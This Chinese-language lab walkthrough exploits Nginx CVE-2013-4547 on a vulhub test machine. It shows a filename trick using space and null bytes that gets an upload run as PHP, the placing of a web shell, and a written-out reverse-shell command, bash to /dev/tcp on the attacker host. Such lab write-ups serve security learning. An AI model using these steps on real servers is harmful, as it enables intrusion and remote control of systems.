Nginx CVE-2013-4547文件名逻辑漏洞

Nginx CVE-2013-4547文件名逻辑漏洞



漏洞原理:传送门

实验环境

主机 角色 IP
centos8 漏洞靶机 192.168.1.80
windows10 攻击机(burp) 192.168.1.120

实验流程

开启漏洞靶机centos8

# 切换到vulhub目录
cd /usr/sbin/vulhub/nginx/CVE-2013-4547
# 开启docker服务
service docker start
# 创建docker镜像
docker-compose build
# 启动docker镜像
docker-compose up -d

上传一句话木马

尝试访问漏洞页面:

Nginx CVE-2013-4547文件名逻辑漏洞

上传一个php文件:

Nginx CVE-2013-4547文件名逻辑漏洞

如图所示,不支持该文件类型。

于是在burp中将文件名改为shell.php++,再用十六进制改为shell.php[0x20][0x00],然后再次上传:

Nginx CVE-2013-4547文件名逻辑漏洞

Nginx CVE-2013-4547文件名逻辑漏洞

如图所示,上传成功。

在浏览器中直接访问http://192.168.1.80:8080/uploadfiles/shell.php%20%00是失败的,于是我们用burp访问。

同样的道理,我们访问该文件,然后用burp抓包,在burp中将数据包的url改为/uploadfiles/shell.php[0x20][0x00].php,发送数据包。

Nginx CVE-2013-4547文件名逻辑漏洞

Nginx CVE-2013-4547文件名逻辑漏洞

如图所示,文件中的代码被成功解析为php,phpinfo()成功执行。

同样的道理,也可以上传一句话木马:

Nginx CVE-2013-4547文件名逻辑漏洞

然后去访问木马文件,并传入参数:

Nginx CVE-2013-4547文件名逻辑漏洞

如图所示,成功会显出命令执行结果。


反弹shell

先上传一个qianxun.png,内容为bash -i >& /dev/tcp/192.168.1.120/8888 0>&1,作用是为windows主机反弹一个shell。

Nginx CVE-2013-4547文件名逻辑漏洞

我们访问之前上传的木马文件,列出当前目录下文件列表:

Nginx CVE-2013-4547文件名逻辑漏洞

再用mv命令将qianxun.png,改名为qianxun.sh:

Nginx CVE-2013-4547文件名逻辑漏洞

Nginx CVE-2013-4547文件名逻辑漏洞

现在windows10主机本地开启一个端口监听:

Nginx CVE-2013-4547文件名逻辑漏洞

利用木马文件执行qianxun.sh:

Nginx CVE-2013-4547文件名逻辑漏洞

Nginx CVE-2013-4547文件名逻辑漏洞

如图所示,成功反弹shell。

上一篇:linux下的文件查找操作


下一篇:推荐一款 Java 接口快速开发框架,干活快到飞起。。